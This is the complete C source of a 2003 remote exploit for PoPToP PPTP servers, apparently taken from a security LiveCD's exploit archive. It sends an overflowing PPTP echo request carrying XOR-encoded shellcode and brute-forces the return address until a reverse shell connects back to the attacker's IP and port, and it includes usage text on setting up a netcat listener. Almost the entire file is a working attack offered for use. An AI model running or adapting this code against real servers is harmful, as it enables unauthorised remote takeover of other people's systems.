home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / vpn / pptpd / pptpd-exploit.c < prev   
C/C++ Source or Header  |  2005-02-12  |  9KB  |  272 lines

  1. #include <iostream.h>
  2. #include <winsock.h>
  3. #include <stdio.h>
  4.  
  5. #define u_int8_t char
  6. #define u_int16_t WORD
  7. #define u_int32_t DWORD
  8.  
  9.  
  10. char shellcode[] =
  11.  
  12. "\x1a\x76\xa2\x41\x21\xf5\x1a\x43\xa2\x5a\x1a\x58\xd0\x1a\xce\x6b"
  13. "\xd0\x1a\xce\x67\xd8\x1a\xde\x6f\x1e\xde\x67\x5e\x13\xa2\x5a\x1a"
  14. "\xd6\x67\xd0\xf5\x1a\xce\x7f\xf5\x54\xd6\x7d"
  15.  
  16. "\x01\x01" // port
  17.  
  18. "\x54\xd6\x63"
  19.  
  20. "\x01\x01\x01\x01" // ip address
  21.  
  22. "\x1e\xd6\x7f\x1a\xd6\x6b\x55\xd6\x6f\x83\x1a\x43\xd0\x1e\xde\x67"
  23. "\x5e\x13\xa2\x5a\x03\x18\xce\x67\xa2\x53\xbe\x52\x6c\x6c\x6c\x5e"
  24. "\x13\xd2\xa2\x41\x12\x79\x6e\x6c\x6c\x6c\xaa\x42\xe6\x79\x78\x8b"
  25. "\xcd\x1a\xe6\x9b\xa2\x53\x1b\xd5\x94\x1a\xd6\x9f\x23\x98\x1a\x60"
  26. "\x1e\xde\x9b\x1e\xc6\x9f\x5e\x13\x7b\x70\x6c\x6c\x6c\xbc\xf1\xfa"
  27. "\xfd\xbc\xe0\xfb";
  28.  
  29.  
  30.  
  31.  
  32. struct pptp_header {
  33.         u_int16_t length;               /* pptp message length incl header */
  34.         u_int16_t pptp_type;            /* pptp message type */
  35.         u_int32_t magic;                /* magic cookie */
  36.         u_int16_t ctrl_type;            /* control message type */
  37.         u_int16_t reserved0;            /* reserved */
  38. };
  39.  
  40. #define MAX_HOSTNAME_SIZE               64
  41. #define MAX_VENDOR_SIZE                 64
  42. #define PPTP_VERSION                    0x0100
  43.  
  44. struct pptp_start_ctrl_conn_rqst {
  45.         struct pptp_header header;      /* pptp header */
  46.         u_int16_t version;              /* pptp protocol version */
  47.         u_int16_t reserved1;            /* reserved */
  48.         u_int32_t framing_cap;          /* framing capabilities */
  49.         u_int32_t bearer_cap;           /* bearer capabilities */
  50.         u_int16_t max_channels;         /* maximum channels */
  51.         u_int16_t firmware_rev;         /* firmware revision */
  52.         u_int8_t hostname[MAX_HOSTNAME_SIZE];   /* hostname */
  53.         u_int8_t vendor[MAX_VENDOR_SIZE];       /* vendor */
  54. };
  55.  
  56. struct pptp_echo_rqst {
  57.         struct pptp_header header;      /* header */
  58.         u_int32_t identifier;           /* value to match rply with rqst */
  59.                                 char buf[10000];
  60. };
  61.  
  62. struct pptp_reply {
  63.         struct pptp_header header;      /* header */
  64.                                 char buf[10000];
  65. };
  66.  
  67.  
  68. /* Magic Cookie */
  69. #define PPTP_MAGIC_COOKIE               0x1a2b3c4d
  70.  
  71. /* Message types */
  72. #define PPTP_CTRL_MESSAGE               1
  73.  
  74. /* Control Connection Management */
  75. #define START_CTRL_CONN_RQST            1
  76. #define START_CTRL_CONN_RPLY            2
  77. #define STOP_CTRL_CONN_RQST             3
  78. #define STOP_CTRL_CONN_RPLY             4
  79. #define ECHO_RQST                       5
  80. #define ECHO_RPLY                       6
  81.  
  82. // brute force values
  83. #define TOPOFSTACK 0xbfffffff
  84. #define BOTTOMOFSTACK 0xbf000000
  85. #define STEP 50
  86.  
  87. void send_init_request(SOCKET st)
  88. {
  89.         pptp_start_ctrl_conn_rqst request;
  90.   request.header.magic = htonl(PPTP_MAGIC_COOKIE);
  91.   request.header.pptp_type = htons(PPTP_CTRL_MESSAGE);
  92.         request.header.ctrl_type = htons(START_CTRL_CONN_RQST);
  93.  
  94.   request.version = PPTP_VERSION;
  95.         request.framing_cap = 0;
  96.         request.bearer_cap = 0;
  97.         request.max_channels = 1;
  98.         request.firmware_rev = 0;
  99.   strcpy(request.hostname,"hell");
  100.         strcpy(request.vendor,"domain HELL");
  101.   request.header.length = ntohs(sizeof(request));
  102.  
  103.         send(st,(char*)&request,sizeof(request),0);
  104.  
  105. }
  106.  
  107. void send_ping_overflow(SOCKET st,DWORD ret,char* hostname,short port)
  108. {
  109.   pptp_echo_rqst ping;
  110.         ping.header.magic = htonl(PPTP_MAGIC_COOKIE);
  111.   ping.header.pptp_type = htons(PPTP_CTRL_MESSAGE);
  112.         ping.header.ctrl_type = htons(ECHO_RQST);
  113.         ping.identifier = 111;
  114.  
  115.         ping.header.length = ntohs(1);
  116.  
  117.  
  118.         strcpy(ping.buf,"");
  119.  
  120.         int buflen = 500;
  121.         for (int i=0;i<buflen;i++)strcat(ping.buf,"\x90");
  122.         memcpy(ping.buf+364,(char*)&ret,4);
  123.  
  124.         // patch shellcode
  125.         // we have a shellcode xored by 0x93.. let's unxor it :)
  126.         for (i=0;i<sizeof(shellcode);i++) shellcode[i] ^= 0x93;
  127.  
  128.         *(unsigned short int*)(shellcode+43) = htons(port);
  129.  
  130.   *(unsigned long int*)(shellcode+48) = inet_addr(hostname);
  131.  
  132.         // we leave 100 bytes for NOPs
  133.         memcpy(ping.buf+100,shellcode,sizeof(shellcode));
  134.  
  135.         send(st,(char*)&ping,sizeof(ping.header)+buflen,0);
  136.  
  137. }
  138.  
  139. SOCKET st;
  140.  
  141. int connect_server(char* hostname)
  142. {
  143.         st=socket(PF_INET,SOCK_STREAM,0);
  144.         if (st==INVALID_SOCKET) return 0;
  145.  
  146.         sockaddr_in addr;
  147.  
  148.         addr.sin_family=AF_INET;
  149.         addr.sin_port=0;
  150.         addr.sin_addr.s_addr=0;
  151.         bind(st, (LPSOCKADDR)&addr,sizeof(addr));
  152.  
  153.  
  154.         addr.sin_family=AF_INET;
  155.         addr.sin_port=htons(1723);
  156.         addr.sin_addr.s_addr=inet_addr(hostname);
  157.         printf("connecting... ");
  158.         if (connect(st,(sockaddr*)&addr,sizeof(addr)) != 0)
  159.         {
  160.                 printf("Connect error. GetLastError=%d\n",GetLastError());
  161.                 return 0;
  162.         }
  163.         return 1;
  164. }
  165.  
  166. int main(int argc, char** argv)
  167. {
  168.         printf("\n");
  169.         printf("                   D  H     H                            \n");
  170.         printf("                   D  H     H     T\n");
  171.         printf("                   D  H  H  H     T     EE    AA   M   M \n");
  172.         printf("               DDD D  HHHHHHH     T    E  E  A  A  MM MM \n");
  173.         printf("              D   DD  H  H  H    TTTT  E  E  A  A  MM MM \n");
  174.         printf("             D     D  H     H     T    EEE   AAAA  M M M \n");
  175.         printf("              D    D  H     H     T    E     A  A  M   M \n");
  176.         printf("               DDDD   H     H      TTT  EEE  A  A  M   M   ");
  177.         printf(" ... presents ... \n\n");
  178.   printf("Exploit for PoPToP PPTP server older than \n1.1.4-b3 and 1.1.3-20030409 under Linux.\n");
  179.         printf("by .einstein., April 2003.\n");
  180.         printf("\n");
  181.   if (argc < 2)
  182.   {
  183.                 printf("usage: \n");
  184.                 printf("  %s <pptp_server> [<your_ip>] [<your_port>] [<timeout>]\n\n",argv[0]);
  185.                 printf("    <pptp_server> is the ip address or hostname of the PoPToP server\n");
  186.                 printf("      you want to attack.  Port 1723 is used for connection\n");
  187.                 printf("    <your_ip> and <your_port> - specify an ip address to which\n");
  188.                 printf("      a connection is possible to port <your_port> and set up a\n");
  189.                 printf("      netcat listener. You'll get a reverse shell.\n");
  190.                 printf("    <timeout> is a delay between stack bruteforce attemts, in milliseconds\n");
  191.                 printf("   If you only pass a single parameter, the program will check\n");
  192.                 printf("   whether remote server is vulnerable or not. Otherwise it will\n");
  193.                 printf("   perform a ret bruteforce.\n");
  194.                 printf("usage examples:\n");
  195.                 printf("  %s 192.168.1.2 192.168.1.1 5555\n",argv[0]);
  196.                 printf("    attack 192.168.1.2 and get a reverse shell on port 5555\n");
  197.           printf("  %s 127.0.0.1 127.0.0.1 6666 100\n",argv[0]);
  198.                 printf("    attack a locally running pptpd with a timeout of 100 ms\n");
  199.                 printf("    and get a shell on port 6666.\n");
  200.                 printf("  %s 192.168.1.56\n",argv[0]);
  201.                 printf("    check if the PoPToP server on 192.168.1.56 is vulnerable.\n");
  202.     return 0;
  203.         }
  204.  
  205.  
  206.   int timeout = 500;
  207.   if (argc >= 5) timeout = atoi(argv[4]);
  208.  
  209.         // init winsock
  210.         WORD version=0x0101;
  211.   WSADATA data;
  212.   WSAStartup(version,&data);
  213.  
  214.         DWORD ret;
  215.         if (argc == 2)
  216.         {
  217.                 if (!connect_server(argv[1])) return 1;
  218.  
  219.                 printf("\nChecking if the server is vulnerable..\n");
  220.                 printf("(if it is you have to wait 65 seconds)..\n");
  221.                 send_init_request(st);
  222.  
  223.                 ret = 0x01010101;
  224.                 int bytes;
  225.                 pptp_reply reply;
  226.  
  227.                 //header length
  228.                 bytes = recv(st,(char*)&reply,2,0);
  229.                 bytes = ntohs(reply.header.length);
  230.                 bytes = recv(st,(char*)&reply+2,bytes-2,0);
  231.                 int j = htons(reply.header.ctrl_type);
  232.                 send_ping_overflow(st,ret,"0.0.0.0",0);
  233.  
  234.                 //header length
  235.                 bytes = recv(st,(char*)&reply,2,0);
  236.                 printf("PoPToP server is ");
  237.                 if (bytes != SOCKET_ERROR) printf("vulnerable!\n");
  238.                 else printf("not vulnerable\n");
  239.                 closesocket(st);
  240.  
  241.                 return 1;
  242.         }
  243.  
  244.         printf("[!] Attempting bruteforce against %s\n",argv[1]);
  245.         printf("interrupt when you get a shell to %s on port %d...\n\n",argv[2],atoi(argv[3]));
  246.  
  247.         int checked = 0;
  248.  
  249.         for (ret = TOPOFSTACK; ret >=BOTTOMOFSTACK; ret -= STEP)
  250.         {
  251.           printf("[*] ");
  252.                 if (!connect_server(argv[1])) return 1;
  253.         printf("[ret=0x%x]..",ret);
  254.         printf("sending payload..");
  255.  
  256.                 // initial packet
  257.                 send_init_request(st);
  258.  
  259.                 //a real overflowing ping packet
  260.           send_ping_overflow(st,ret,argv[2],atoi(argv[3]));
  261.                 closesocket(st);
  262.  
  263.                 Sleep(timeout);
  264.                 printf("done\n");
  265.  
  266.  
  267.  
  268.         }
  269.  
  270.         return 0;
  271. }
  272.